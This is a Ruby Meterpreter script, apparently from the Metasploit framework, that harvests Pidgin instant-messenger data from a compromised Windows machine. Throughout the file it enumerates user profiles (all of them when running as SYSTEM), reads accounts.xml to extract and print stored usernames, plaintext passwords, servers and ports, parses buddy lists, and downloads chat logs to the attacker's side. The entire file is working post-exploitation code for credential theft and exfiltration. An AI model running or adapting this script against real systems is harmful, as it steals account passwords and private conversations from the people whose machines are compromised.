209 lines
6.8 KiB
Ruby
209 lines
6.8 KiB
Ruby
# $Id$
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# $Revision$
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# Author: Carlos Perez at carlos_perez[at]darkoperator.com
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#-------------------------------------------------------------------------------
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require "rexml/document"
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#-------------------------------------------------------------------------------
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#Options and Option Parsing
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opts = Rex::Parser::Arguments.new(
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"-h" => [ false, "Help menu." ],
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"-c" => [ false, "Return credentials." ],
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"-l" => [ false, "Retrieve logs." ],
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"-b" => [ false, "Retrieve buddies." ]
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)
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get_credentials=false
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get_buddies=false
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get_logs=false
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opts.parse(args) { |opt, idx, val|
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case opt
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when "-h"
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print_line "Meterpreter Script for extracting configured services with username and passwords."
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print_line(opts.usage)
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raise Rex::Script::Completed
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when "-l"
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get_logs=true
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when "-b"
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get_buddies=true
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when "-c"
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get_credentials=true
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end
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}
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### If we get here and have none of our flags true, then we'll just
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### get credentials
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if !(get_credentials || get_buddies || get_logs)
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get_credentials=true
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end
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#-------------------------------------------------------------------------------
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#Set General Variables used in the script
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@client = client
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os = @client.sys.config.sysinfo['OS']
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host = @client.sys.config.sysinfo['Computer']
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# Create Filename info to be appended to downloaded files
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filenameinfo = "_" + ::Time.now.strftime("%Y%m%d.%M%S")
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# Create a directory for the logs
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logs = ::File.join(Msf::Config.log_directory,'scripts', 'pidgin_creds')
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# Create the log directory
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::FileUtils.mkdir_p(logs)
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#logfile name
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dest = Rex::FileUtils.clean_path(logs + "/" + host + filenameinfo + ".txt")
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#-------------------------------------------------------------------------------
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#function for checking of Pidgin profile is present
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def check_pidgin(path)
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found = nil
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@client.fs.dir.foreach(path) do |x|
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next if x =~ /^(\.|\.\.)$/
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if x =~ (/\.purple/)
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### If we find the path, let's return it
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found = path + x
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return found
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end
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end
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return found
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end
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#-------------------------------------------------------------------------------
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#function for extracting the buddies
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def extract_buddies(path)
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blist_xml = ""
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buddies = ""
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print_status("Reading blist.xml file...")
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### modified to use pidgin_path, which already has .purple in it
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blist_file = @client.fs.file.new(path + "\\blist.xml", "rb")
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until blist_file.eof?
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blist_xml << blist_file.read
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end
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blist_file.close
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doc = (REXML::Document.new blist_xml).root
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doc.elements["blist"].elements.each("group") {|group|
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group.elements.each("contact") {|contact|
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b_name=contact.elements["buddy"].elements["name"].text + ""
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b_account=contact.elements["buddy"].attributes["account"] + ""
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b_proto=contact.elements["buddy"].attributes["proto"] + ""
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b_alias=""
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if (contact.elements["buddy"].elements["alias"])
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b_alias=contact.elements["buddy"].elements["alias"].text
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end
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buddies << "buddy=>" + b_name + "\talias=>" + b_alias + "\taccount=>" + b_account + ":" + b_proto + "\n"
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}
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}
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return buddies
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end
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#-------------------------------------------------------------------------------
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#function for downloading logs
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def download_logs(dest,pidgin_path)
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begin
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stat = client.fs.file.stat(pidgin_path+"\\logs")
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if(stat.directory?)
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print_status("downloading " + pidgin_path +"\\logs to " + dest+"/logs")
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client.fs.dir.download(dest+"/logs", pidgin_path+"\\logs", true)
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end
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rescue
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print_status("Log directory does not exist, loggin is not enabled.")
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end
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end
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#-------------------------------------------------------------------------------
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#function for extracting the credentials
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def extract_creds(path)
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accounts_xml = ""
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creds = ""
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print_status("Reading accounts.xml file...")
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### modified to use pidgin_path, which already has .purple in it
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account_file = @client.fs.file.new(path + "\\accounts.xml", "rb")
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until account_file.eof?
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accounts_xml << account_file.read
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end
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account_file.close
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doc = (REXML::Document.new accounts_xml).root
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doc.elements.each("account") {|element|
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password = "<unknown>"
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if element.elements["password"]
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password=element.elements["password"].text
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end
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print_status("\tProtocol: #{element.elements["protocol"].text}")
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print_status("\tUsername: #{element.elements["name"].text}")
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print_status("\tPassword: #{element.elements["password"].text}")
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print_status("\tServer: #{element.elements["settings"].elements["setting[@name='server']"].text}")
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print_status("\tPort: #{element.elements["settings"].elements["setting[@name='port']"].text}")
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print_status()
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creds << "user=>#{element.elements["name"].text}"
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creds << "\tpass=>#{password}"
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creds << "\tserver=>#{element.elements["settings"].elements["setting[@name='server']"].text}"
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creds << ":#{element.elements["settings"].elements["setting[@name='port']"].text}"
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creds << "\tproto=>#{element.elements["protocol"].text}\n"
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}
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return creds
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end
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#-------------------------------------------------------------------------------
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#Function to enumerate the users if running as SYSTEM
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def enum_users(os)
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users = []
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path4users = ""
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sysdrv = @client.fs.file.expand_path("%SystemDrive%")
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if os =~ /Windows 7|Vista|2008/
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path4users = sysdrv + "\\users\\"
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path2purple = "\\AppData\\Roaming\\"
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else
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path4users = sysdrv + "\\Documents and Settings\\"
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path2purple = "\\Application Data\\"
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end
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if is_system?
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print_status("Running as SYSTEM extracting user list..")
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@client.fs.dir.foreach(path4users) do |u|
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userinfo = {}
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next if u =~ /^(\.|\.\.|All Users|Default|Default User|Public|desktop.ini|LocalService|NetworkService)$/
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userinfo['username'] = u
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userinfo['userappdata'] = path4users + u + path2purple
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users << userinfo
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end
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else
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userinfo = {}
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uservar = @client.fs.file.expand_path("%USERNAME%")
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userinfo['username'] = uservar
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userinfo['userappdata'] = path4users + uservar + path2purple
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users << userinfo
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end
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return users
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end
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#-------------------------------------------------------------------------------
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################## MAIN ##################
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if client.platform =~ /win32|win64/
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print_status("Running Meterpreter Pidgin Credential harvester script")
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print_status("All services are logged at #{dest}")
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enum_users(os).each do |u|
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print_status("Checking if Pidgin profile is present for user :::#{u['username']}:::...")
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### Find the path (if it exists) for this user,
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pidgin_path = check_pidgin(u['userappdata'])
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if pidgin_path
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print_status("Pidgin profile found!")
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### modified to use pidgin_path
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if get_credentials
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file_local_write(dest,extract_creds(pidgin_path))
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end
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if get_buddies
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file_local_write(dest,extract_buddies(pidgin_path))
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print_status("Buddie list has been saved to the log file.")
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end
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if get_logs
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download_logs(logs,pidgin_path)
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end
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else
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print_error("Pidgin profile not found!")
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end
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end
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else
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print_error("This version of Meterpreter is not supported with this Script!")
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raise Rex::Script::Completed
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end
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